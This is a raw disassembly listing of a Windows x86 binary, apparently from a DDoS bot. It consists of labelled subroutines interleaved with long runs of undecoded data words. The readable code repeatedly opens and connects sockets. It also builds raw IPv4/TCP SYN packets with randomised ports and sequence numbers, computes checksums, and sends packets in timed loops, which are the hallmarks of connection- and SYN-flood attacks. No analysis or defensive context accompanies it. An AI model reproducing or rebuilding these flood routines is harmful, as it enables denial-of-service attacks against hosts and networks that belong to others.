8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh dd 0B1E89056h, 5F022FBDh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414251 proc near ; CODE XREF: ___:0041433Ap var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB9D4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41430F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_41429C: ; CODE XREF: sub_414251+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4142A4: ; CODE XREF: sub_414251+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4142C7 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_4142C7: ; CODE XREF: sub_414251+64j add esi, 4 dec ebx jnz short loc_4142A4 lea esi, [ebp+var_654] mov ebx, edi loc_4142D5: ; CODE XREF: sub_414251+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_4142D5 push 64h call near ptr 26A068Bh nop lea esi, [ebp+var_654] mov ebx, edi loc_4142F9: ; CODE XREF: sub_414251+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_4142F9 dec [ebp+arg_4] jnz short loc_41429C pop edi pop esi pop ebx loc_41430F: ; CODE XREF: sub_414251+3Ej xor eax, eax leave retn sub_414251 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov edi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov esi, eax push esi push ebx push edi call sub_414251 add esp, 18h test eax, eax jnz short loc_414349 push 1 pop eax loc_414349: ; CODE XREF: ___:00414344j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+636Bo dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF72EAh, 0E8565959h, 22FBC0Ch db 90h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F7 proc near ; CODE XREF: ___:004146E5p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_414437 xor eax, eax jmp loc_4146A5 ; --------------------------------------------------------------------------- loc_414437: ; CODE XREF: sub_4143F7+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41469D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_414693 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB9D4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB9D4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB9D4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27D0484h lea eax, [ebp+var_8] push eax call near ptr 27D021Bh nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DB20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414522: ; CODE XREF: sub_4143F7+25Dj ; sub_4143F7+26Bj mov [ebp+var_24], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_34], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_414667 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27D021Bh mov eax, [ebp+var_4] cmp eax, esi jg short loc_414690 jl loc_414522 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414690 jmp loc_414522 ; --------------------------------------------------------------------------- loc_414667: ; CODE XREF: sub_4143F7+247j call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_437AEC push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_414693 ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: sub_4143F7+25Bj ; sub_4143F7+269j mov ebx, [ebp+arg_8] loc_414693: ; CODE XREF: sub_4143F7+78j ; sub_4143F7+297j push [ebp+var_C] call dword_4CBA6C pop esi loc_41469D: ; CODE XREF: sub_4143F7+5Bj call dword_4CB92C mov eax, ebx loc_4146A5: ; CODE XREF: sub_4143F7+3Bj pop edi pop ebx leave retn sub_4143F7 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143F7 add esp, 1Ch test eax, eax jnz short loc_4146F4 push 1 pop eax loc_4146F4: ; CODE XREF: ___:004146EFj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22FB85Ch, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA54h dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch, 0FFFBC085h dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h dd 535959FFh, 0B576E890h, 4D8D022Fh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22FB4F8h, 0FDC4858Dh dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh dd 89E85359h, 90022FB4h, 458D106Ah, 0E85053BCh, 73ECh dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB9D4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CB9D4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 7FCBE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 8DE85359h dd 90022FB1h, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh dd 90535959h, 2FB0FBE8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414F31 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414F23: ; CODE XREF: ___:00414F2Bj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414F23 pop edi cmp eax, 1 loc_414F31: ; CODE XREF: ___:00414F17j jnz short loc_414F3E mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414F3E: ; CODE XREF: ___:loc_414F31j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022FAFh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 1AE89000h, 2B022AB5h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CB978h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D90468h dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 6068FFFFh dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 437C8Ch, 6FB4E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh dd 90006A14h, 2FAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h, 4CBA1415h dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1803Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D90468ACh dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h, 7A3D8966h dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h, 7C6852FBh dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h dd 4CED60h, 0FFF475FFh, 4CBA3815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0B01FE8FCh, 2B90022Ah, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch db 0ACh byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 0A932E856h dd 5F90022Fh ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_4156FA push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_4157B6 ; --------------------------------------------------------------------------- loc_4156FA: ; CODE XREF: ___:004156E4j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB97C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB9BC test eax, eax jnz short loc_41575E or eax, 0FFFFFFFFh jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_41575E: ; CODE XREF: ___:00415757j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415769 loc_415765: ; CODE XREF: ___:00415789j ; 